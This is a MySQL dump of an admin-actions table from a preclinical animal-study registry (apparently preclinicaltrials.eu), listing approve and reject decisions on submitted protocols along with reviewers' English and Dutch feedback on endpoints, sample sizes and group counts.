# ************************************************************
# Sequel Pro SQL dump
# Version 5446
#
# https://www.sequelpro.com/
# https://github.com/sequelpro/sequelpro
#
# Host: 127.0.0.1 (MySQL 5.7.31)
# Database: preclinical-trials
# Generation Time: 2022-03-31 13:29:04 +0000
# ************************************************************


/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8 */;
SET NAMES utf8mb4;
/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */;
/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */;
/*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */;


# Dump of table admin_actions
# ------------------------------------------------------------

DROP TABLE IF EXISTS `admin_actions`;

CREATE TABLE `admin_actions` (
  `id` bigint(20) unsigned NOT NULL AUTO_INCREMENT,
  `protocol_id` bigint(20) unsigned NOT NULL,
  `action` varchar(255) COLLATE utf8mb4_unicode_ci NOT NULL,
  `message` text COLLATE utf8mb4_unicode_ci,
  `created_at` timestamp NULL DEFAULT NULL,
  `updated_at` timestamp NULL DEFAULT NULL,
  PRIMARY KEY (`id`),
  KEY `admin_actions_protocol_id_foreign` (`protocol_id`),
  CONSTRAINT `admin_actions_protocol_id_foreign` FOREIGN KEY (`protocol_id`) REFERENCES `protocols` (`id`) ON DELETE CASCADE
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

LOCK TABLES `admin_actions` WRITE;
/*!40000 ALTER TABLE `admin_actions` DISABLE KEYS */;

INSERT INTO `admin_actions` (`id`, `protocol_id`, `action`, `message`, `created_at`, `updated_at`)
VALUES
	(251,98,'reject','Returned to Gordon to complete','2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(252,98,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(253,103,'reject','Dear Alex,\n\nThank you very much for testing our user interface and your protocol looks very good. I am sending it back to see if that function of the management interface works. Could you make some changes and try to resubmit?\n\nbest wishes and many thanks! \nKim','2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(254,103,'reject','test record, now testing rejection','2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(255,105,'reject','executive?','2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(256,104,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(257,105,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(258,107,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(259,105,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(260,114,'reject','Many thanks for registering your study. I had one question about the description of the groups (question 23). Do you mean that in every sheep you will perform both procedures (SFC and SFSB) and the only differences between the groups is the order of the procedures? And I guess you will only perform 1 SFC and 1 SFSB per sheep and not 16 per sheep? Could you please clearify this in your record.\n	\nCurrent answer to question 23:\nType: intervention\nNumber: 16\nIntervention: A: n=16 SFC in cranial deep neck, n=16 SFSB in caudal deep neck\n\nType: intervention\nNumber: 16\nIntervention: B: n=16 SFSB in caudal deep neck, n=16 SFC in cranial deep neck','2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(261,114,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(262,118,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(263,119,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(264,121,'reject','He Nicoline, paar kleine opmerkingen.\n14. In je eindpunten mis ik de expliciete uitkomstmaten. Als ik je sample size berekening goed heb geïnterpreteerd is conduction velocity je primaire uitkomstmaat. En daarnaast histologie en LVEF/EDV/ESV?\n15. Het is mij niet duidelijk in welke subset van dieren de inverse technique is toegepast en wat dit precies is/of het effect kan hebben op het diermodel. Als dit om een losse substudie gaat kun je dit eigenlijk bij vraag 16. aangeven.\n20. Animal model used: Idealiter vermeld je hier ook of het een open chest of percutane procedure was en in welke coronair (liefst ook nog voor/na welke aftakking)?\n21. 2 typo\'s: \"where\" --> \"were\". \"Tased\" --> \"Based\". Hebben jullie nog een schatting gemaakt van het uiteindelijk te verwachten in vivo verschil?','2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(265,121,'reject','Nog één opmerking.\n16. Hier staat nu \"...are not excepted to not influence...\", dubbele ontkenning. Denk dat je er maar één bedoelde.','2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(266,121,'reject','Hoi Nicoline,\nSorry, nog een keer terug. Bij vraag 23 moet \"number\" het aantal dieren in die groep zijn. Dus dat zou volgens je sample size berekening 10 bij iedere groep moeten zijn.','2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(267,121,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(268,125,'reject','Dear researcher,\n\nMany thanks for uploading your protocol!\n\nI have a few questions left:\n\n1) Question 14: Can you give a bit more explanation about how the primary outcomes are measured or what you are measuring, oxidative stress and myocardial remodeling can be measured in different ways. please specify if you used echo, staining etc\n2)Question 24: Can you specify the randomization\n3) Question 22+23: please check again. In Question 22 I first read that you have used 90 animals but I can only find back 80 (control group + hypertension). Secondly if look at question 23: you have 4 control groups adding to 55 animals and 3 intervention groups adding up to 40 animals.\n\nIt would great if you could take a look at these questions and answer them. Then I can accept the registration. Thank you again for uploading your protocol. If possible please also stimulate and encourage your colleagues to do the same.\n\nKind regards,\nNicoline Smit','2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(269,125,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(270,128,'reject','Dear Caio Maximino,\n\nFirst of all I would like to thank you for preregistering your study on preclinicaltrials.eu!\n\nRegarding the protocol I had two questions remaining:\n1) The primary endpoint is reduction of anxiety-like behavior after treatment. Is it possible that you can elaborate on how this measured.\n2) In your powercalculation you mention two experiments; in the subsequent question about the study arms I can only find back the information about the second experiment (60 animals). Can you elaborate in which groups the animals from the first experiment will be used (83 animals per group).\n\nMany thanks in advance for resolving these two questions.\n\nKind regards,\nNicoline','2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(271,129,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(272,128,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(273,130,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(274,129,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(275,131,'reject','Dear Thomas Tiefenboeck,\n\nFirst of all thank you for registering your study on preclinicaltrials.eu!\nMay I ask how you found out about our website? We are trying to increase the awareness of this platform.\n\nRegarding your protocol I have a few questions.\n1)Can you elaborate on your primary endpoint. How are you going to measure efficacy?\n2). You mention a mice mode is used. Can you elaborate on this, or if they are only C57BL/6 (female) mice of 18 weeks, just mention this\n3)As it is a confirmatory study you mention you did a power calculation. Can you explain how you got to the number of animals used; instead of just mentioning that it is calculated via a calculator program. \n\nIt would be great if you could answer these questions, than I can publish the protocol on the platform.\n\nLooking forward to hearing back from you.\nKind regards,\nNicoline Smit','2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(276,134,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(277,135,'reject','Beste Janine Donker,\n\nIk begreep van Mira dat jij ook aanwezig was bij het praatje wat ze gisterochtend heeft gehouden. Wat super dat je direct je studie geregistreerd hebt! Zou jij voor mij alleen nog 2 dingen willen aanpassen: namelijk de title in het engels veranderen en bij de vraag over sample size calculation staat ook nog cellen ipv cells. Dan kan ik hem erna onder embargo op de website zetten.\n\nmet vriendelijke groet,\nNicoline Smit','2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(278,135,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(279,132,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(280,132,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(281,128,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(282,132,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(283,139,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(284,137,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(285,138,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(286,137,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(287,138,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(288,141,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(289,142,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(290,142,'reject','Dear Simon,\nThank you for registering your protocol.\nIn your primary endpoints are the patients you are referring to the dogs? If so can you change it so that people don\'t get confused?\nThxs, Nicoline','2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(291,131,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(292,147,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(293,148,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(294,149,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(295,142,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(296,132,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(297,150,'reject','Hi Milou,\nThank you for registering your protocol. \nCan you please fill in the primary and secondary endpoints of the study?\nKind regards, Nicoline','2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(298,150,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(299,152,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(300,153,'reject','Dear Michael Muhlebach,\nThank you for registering your protocol!\nCan I ask you to translate all the text into English?The explanation at the sample size calculation is still in German.\nSecondly at question 23, can you indicate the number of animals per group (Number), in the question before you indicate you will be using 212 mice, the numbers in per group do not add up to this. \nThank you,\nKind regards, \nthe preclinicaltrials.eu team.','2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(301,155,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(302,156,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(303,158,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(304,144,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(305,145,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(306,159,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(307,161,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(308,147,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(309,159,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(310,163,'reject','Dear Sanna,\n\nThank you for registering your project on our website!\nBefore I place it in the database I wanted to ask if you can elaborate on the power calculation. \nFurthermore I would like to know how you heard from our database?\nThank you.\nKind regards,\nNicoline','2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(311,164,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(312,165,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(313,166,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(314,167,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(315,164,'reject','The total amount of animals at point 22 are not the same as the sum of groups given at point 23. Could you please revise and resubmit?','2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(316,165,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(317,166,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(318,164,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(319,167,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(320,147,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(321,171,'reject','Dear author, \n\nThank you for your submitted protocol. Could you please fill in al records in English? And could you add the number to the groups, and maybe add (side 1) or (side 2) between brackets behind it, so it\'s clear every group has 38 animals (even though it\'s the same animal)? Also we were wondering if inclusion- or exclusion criteria were used to select the dogs. If so, could you add this information to the animal model section (something like \"all short-haired canine patients with bacterial superficial pyodermia treated at our facility between [date] and [date]\" ?\n\nIn addition, we received and succesfully processed the request to extend the embargo to three years. \n\nRegards,\n\nAnnemarie Végh, preclinicaltrials.eu','2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(322,171,'reject','Dear author, thank you for revising the protocol. In box 17 \"species\", short-haired in still in Dutch. Also, could you add \"38\" at both groups is box 23? Thank you in advance.\n\nRegards,\n\nAnnemarie','2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(323,171,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(324,172,'reject','Test vraag hier','2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(325,172,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(326,172,'reject','TEST protocol','2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(327,173,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(328,175,'reject','Dear mr. Von Hörsten, Thank you for your registration. Could you please add more details about the sample size calculation? Kind regards, Annemarie Végh','2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(329,143,'reject','Beste Maaike, Kun je nog aangeven wat voor randomisatie methode is gebruikt? (Veld 24)\n\nVriendelijke groet,\n\nAnnemarie Végh','2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(330,177,'reject','Dear author, \n\nThe number of animals mentioned in field 22 \" Sum of arms\" does not match with the sum of all groups in field 23. Could you correct this? \n\nKind regards, Annemarie Vegh\n\npreclinicaltrials.eu','2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(331,178,'reject','Dear author,\n\nIn field 23 \"Groups\", the amount of animals is missing. Could you please fill in the amount of animals per group in the field \"number\". \n\nKind regards,\n\nAnnemarie Vegh\npreclinicaltrials.eu','2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(332,175,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(333,179,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(334,162,'reject','Dear author,\n\nI noticed that in your sample size calculation, you mention 108 animals (18 per group). However, the amount of animals in the current study is only 6. Could you explain why you\'ve chosen to only use 2 animals per group while the sample size calculation says 18?\n\nKind regards,\n\nAnnemarie, preclinicaltrials.eu','2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(335,177,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(336,162,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(337,178,'reject','Dear author,\n\nUnfortunately, I\'m still struggling with the submitted protocol. If I understand correctly, you have injected mice with 7 different cell lines that have been treated with 4 different compounds (A-D), so 28 conditions in total. 6 mice per group x 28 conditions adds up to 168 mice in one arm, correct? Maybe this can be clarified in the sample size calculation? Also I\'m not sure where the number 112 comes from in the other group. Are these the amount of cell lines used per condition? To make it more clear, I would suggest to add the specifics of the cell lines (now called A-D in section 23) to section 20 \"animal model\", because it\'s not part of the amount on used animals in every group, as is asked for in section 23. The sample sizes for cell lines are not required in this field. Could you change these remarks in the protocol? \n\nKind regards, \nThe preclinicaltrials.eu team','2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(338,152,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(339,181,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(340,169,'reject','Dear author,\n\nIn section 23, the number of animals (6) is not given correctly, and the intervention (intrahippocampal autologous skin-derived neuroprecursor cell therapy) is also left blank. Could you please change the text in section 23? Did you also use a control group and if so, could you also add this?\n\nKind regards,\n\nAnnemarie Végh\npreclinicaltrials.eu','2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(341,182,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(342,163,'reject','Dear Dr. Honkala, Thank you for resending the protocol. I have some small remarks. I noticed High Fat is not completely mentioned in the protocol, only HF. Could you add the explanation of this abbreviation please? Furthermore, you state an expected drop-out of 20% in the exercise training intervention group. Does this apply to all groups? If not, shouldn\'t the training group be bigger than the other groups? Also what does the n=10 refer to? The 20% drop-outs, or something else? As a last remark, I noticed you answered \"no\" to the randomization question, but in the next you answered coin-toss to the method. I guess either one of them is a mistake? Thank you. Kind regards, Annemarie','2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(343,169,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(344,179,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(345,184,'reject','Dear author, thank you for your protocol. As I (and other Western researchers with me, I think) am not aware of traditional Chinese medicine, could you please explain if Bushenyiqi decoction is considered TCM is in question 10? Furthermore, could you further explain what is meant by \"great fright impairing the kidney\"? Also, could you explain what the difference in intervention was between control and sham animals? \n\nIn question 21 you say sample size calculation has been performed. Could you please add the sample size calculation that has been done in this field as well? \n\nIn question 22 you say the sum of animals is 50, but the amount given in question 23 is 3x20=60 animals in total. Could you please correct this?\n\nKind regards, Annemarie','2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(346,143,'reject','Beste Maaike, Ik probeer wijs te worden uit de sample size calculation, maar met de huidige gegevens kom ik er niet helemaal uit. Je geeft aan een uitval van 30% en 10% te verwachten, waardoor je niet op n=11 maar op n=18 uitkomt (ik kom overigens zelf op n=16 uit). Vervolgens ga je verder met de n=11 per groep, in plaats van de n=18 die je noemt. Hoe zit dit? Ik hoor het graag. Vriendelijke groet, Annemarie','2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(347,174,'reject','Dear author, thank you for your protocol. Could you please explain in more detail what it is you want to measure and how you want to do this? Also, you mention animals have been randomly allocated to experimental groups in question 24, but you only mention one experimental group in question 23. Could you please be more specific? Kind regards, Annemarie','2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(348,174,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(349,152,'reject','Dear Dr. Schmolzer, thank you for your protocol. In section 22 the Sum of all arms, 32 was given as a number. However, in total 64 animals are used as far as I can tell. Could you please change this or explain why the total number is 32 and not 64? Also I noticed your power calculation resulted in 16 animals per group, but only two of the groups actually contain 16 animals. Could you explain this in the power calculation field (section 21)? Kind regards, the team of preclinicaltrials.eu','2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(350,137,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(351,186,'reject','Dear Dr. Almansour, tahnk you for sending in your protocol. \nCould you please explain in more detail how you calculated n=6 per group in section 21?\nIs the data of the pilot experiment publically available, and if so, could you add the link to this data?\nThank you in advance. Kind regards, the team of preclinicaltrials.eu','2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(352,161,'reject','Dear Dr. Schmolzer, for this protocol I have again the same three questions: \nCould you explain at what exact age you measure the pigs and how asphyxia was induced in section 20? Could you explain why you chose not to perform a power calculation in section 21? Could you add the link to the publication in section 32? \nKind regards, the Preclinicaltrials.eu Team','2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(353,155,'reject','Dear Dr. Schmolzer, thank you for yet another one of your protocols. I have three questions for you concerning this protocol. I saw you used neonatal pigs, is this also the moment of measuring? Could you explain this a bit further in section 20? I noticed you didn\'t do a sample size calculation in this studie, could you add in section 22 why you chose not to perform a power analysis? I saw that this data is already published. Could you add a link to the publication in section 32? Thank you in advance. Kind regards, the Preclinicaltrials.eu Team','2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(354,161,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(355,155,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(356,152,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(357,143,'reject','Beste Maaike, zou je sectie 22 willen wijzigen naar 36 dieren?','2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(358,143,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(359,148,'reject','Dear dr. Schmolzer, \n\nThank you for your protocol. I was wondering if the pigs will receive all three chest compressions during the same procedure, or will this differ between pigs and/or procedures? In section 23, I read it will be one procedure in which a pig will be treated with all three chest compressions, is this correct? Thank you in advance.\n\nKind regards, The preclinicaltrials.eu team','2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(360,187,'reject','Dear dr. Gamolsky,\n\nThank you for your protocol. I was wondering if you could explain in section 21 why you chose not to perform a sample size calculation and how you got to the numbers n=18 and n=12 instead. Thank you in advance.\n\nKind regards, The preclinicaltrials.eu team','2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(361,188,'reject','Dear dr. Dalby,\n\nThank you for submitting your protocol. I noticed you added 40 animals in section 22, but only 20 animals are mentioned in section 23. Could you please explain this difference and/or change this in the protocol?\n\nThank you in advance.\n\nKind regards, the preclinicaltrials.eu team','2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(362,189,'reject','Dear dr. Inan,\n\nThank you for submitting your protocol. Unfortunately some information is missing to understand the experimental procedure. Could you explain what compound is used and how this is delivered to the rats in section 11? In section 21, could you explain why you did not perform a sample size calculation and what the group numbers are based on? In section 23, could you specify the difference between groups 3 and 4, and between groups 5 and 6? \n\nThank you in advance.\n\nKind regards, the preclinicaltrials.eu team','2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(363,188,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(364,148,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(365,187,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(366,191,'reject','Dear Dr Dike,\nThank you for registering your protocol on preclinicaltrials.eu and my apologies for coming back to you this late.\nCould please specify the following items\n10) Could the problem studies be called \"Atherosclerosis\"?\n13) I think a \"t\" is missing (reatment -> treatment)\n21) Could you specify any rationale for the chosen number of animals?\n22/23) There is a discrepency between the number of animals in the sample size calculations (n=160) and the number of rats in the groups (n=60). Could you please explain this difference?\n23) Could you specify the groups (for example group 1 \"intervention: placebo\"; the sort of placebo can be specified too) and what is the intervention in the third group?\nThank you in advance,\nThe preclinicaltrials.eu team','2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(367,152,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(368,193,'reject','Dear Dr Schmolzer,\nThank you for registering your protocol on preclinicaltrials.eu. My apologies for the late response.\nYour protocol looks great, but could you specify the exact secondary endpoints, which markers do you use?\nThank you in advance,\nThe preclinicaltrials.eu team','2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(369,194,'reject','Dear dr Ozedemir,\nThank you for registering your protocol on preclinicaltrials.eu and my apologies for the late response.\nYour protocol looks good, just a few questions\n1) Could you specify which parameters will be studies to evaluate the anastomosis healing (question 14)?\n2) Could you elaborate why a sample size calculation was not performed or how you decided to use these number of animals (question 21)\n3) Could you please specify how the animals were randomised (question 24)\n4) You state the follow-up duration is 15 days (question 28), but all mentioned endpoints are at 7 days. Why this discrepancy. Are there any additional (secondary) endpoints you would like to add?','2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(370,197,'reject','Dear Dr Shiu Cheuk Chow,\nThank you for registering your protocol on preclinicatrials.eu and my apologies for the late reponse. I have a few questions about your protocol:\n1) What are the readout parameter(s) used, could you please specify these in question 14 (for example cumulative tooth movement, rate of tooth movement, which molars, etcetera)?\n2) Will the compounds be given on a daily base?\n3) When will you decide that the trial is completed (question 28)?\nThank you in advance,\nThe preclinicatrials.eu team','2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(371,189,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(372,199,'reject','Dear Dr Suchkov,\nThank you for submitting your protocol on www.preclinicaltrials.eu.\nI have some remaining questions regarding your protocol, could you please clarify the items below:\n1) What are the endpoints; which parameters will you use? does safety include peri-procedural mortality, size of ischemia, adverse effects, etc. Could you elaborate on how this is measured?\n2) Could you please clarify your sample size calculation. What do you mean with \"sample size 6\". You have used an beta and alpha. What is your effect size? Do you expect a drop-out? I see you use 11 different groups, have you used a sample size calculation for every group, or is it limited to a selection of groups?\n3) It looks like you are performing a placebo-controlled (efficacy?) study with the first 5 groups (sham/control/nimodipine/omeprazol/omeprazol+nimodipine)? If so, maybe you could formulate a clear hypothesis and endpoints for this efficacy study, and explain the different research questions (for example confirmatory for the first 5 groups and exploratory for the other groups), maybe you could use the \"additional information\" field to clarify this?\n4) I see you provided a link to the data, unfortunately the current links do not work. Please consider a publicly available platform like the Open Science Framework (https://osf.io/) or Figshare (www.figshare.com).\nPlease let me know if you need further assistance.\n5) Could you write out the first in-text abbreviations you use (BBB, HPLC, MCA, etcetera)?\nKind regards,\nthe preclinicaltrials.eu team','2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(373,193,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(374,197,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(375,199,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(376,191,'reject','Dear Dr Dike,\nThank you for your amendment. Could you please specify one last thing for me. In the third group (question 23) you describe three different dosages. I interpret this as 3 groups of animals, each receiving one specific dose (5000 vs 3000 vs 1000 mg/kg). If so, I think it would be more clear to split them and thus add 2 groups, for each dosage.\nThank you in advance!\nThe preclinicaltrials.eu team','2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(377,191,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(378,200,'reject','Hi Aina,\nThanks for registering your protocol, interesting topic :) Your protocol looks quite complete already, but I have a few questions, partly out of (personal) interest.\nQ15 Your describe one of your secondary endpoints as \"the presence of hydrogel within the left ventricle\", how will you measure this? And do you mean left ventricle or left ventricle wall?\nQ14/15 As a primary endpoint you describe intramyocardial injections, but in the secondary endpoint you mention epicardial injections. Which will you use?\nQ20 You describe the animal model as \"acute myocardial infarction\" AND \"ischemia-reperfusion injury\", but only describe a 4 hour follow-up. Would that not only be called acute?\nQ30 You could consider adding the IVD protocol number.\nKind regards,\nMira','2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(379,201,'reject','Dear Charles Dike,\nMany thanks for your protocol. Could you please clarify the time frame of your experiment. Will the rats be injected with compounds on a daily base from day 7 to day 28? When will you measure your primary endpoint, will that be on a single timepoint, or will you measure the electrolytes on a daily base (from day 7 to 28 or after 28) and is this the reason why your follow-up is 2 months?\nQ21) Is there any foundation for your choice of 160 animals?\nThank you in advance, The preclinicatrials.eu team','2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(380,203,'reject','Dear Igor Suchkov,\nThank you for submitting your protocol to our register. Although we believe that (pre)registration is important for all forms of research we focus on animal studies. Your protocol describes an in vitro experiment performed with  human cells. Therefore we unfortunately have to reject your protocol. May I point out to you that several other platforms are available for (pre)registration of non-animal studies, e.g. the open science framework (https://osf.io/).\nKind regards,\nThe Preclinicaltrials team','2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(381,201,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(382,198,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(383,204,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(384,205,'reject','item 23: please clarify the differences between groups 3-6, why are these separate groups?\nitem 24: please explain what you mean by \"simple randomisation\". Describe your procedure in more detail.','2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(385,191,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(386,201,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(387,205,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(388,206,'reject','Dear Dr Yaromina,\nThank you for submitting your protocol on www.preclinicaltrials.eu. It looks like you will be using 150 mice in total with 6 groups in total, is that correct? Could you please clarify this in questions 21-23?\nHow will your primary endpoint be assessed? Will you perform a CT-scan? And what does \"LC\" stand for?\nKind regards,\nThe preclinicaltrials.eu team','2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(389,207,'reject','Dear Dr Ala Yaromina,\nThank you for registering another protocol on preclinicaltrials.eu. If possibly please specify how you will measure your primary endpoint? Could you please clarify the sample size calculation the exact number of groups and number of animals per group (question 21-23)? Will you use different doses of radiation or different doses of CP-506? What will be the expected differences between the populations?\nThank you in advance,\nThe preclinicaltrials.eu team','2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(390,206,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(391,207,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(392,207,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(393,206,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(394,207,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
	(395,198,'approve',NULL,'2022-03-31 13:26:09','2022-03-31 13:26:09'),
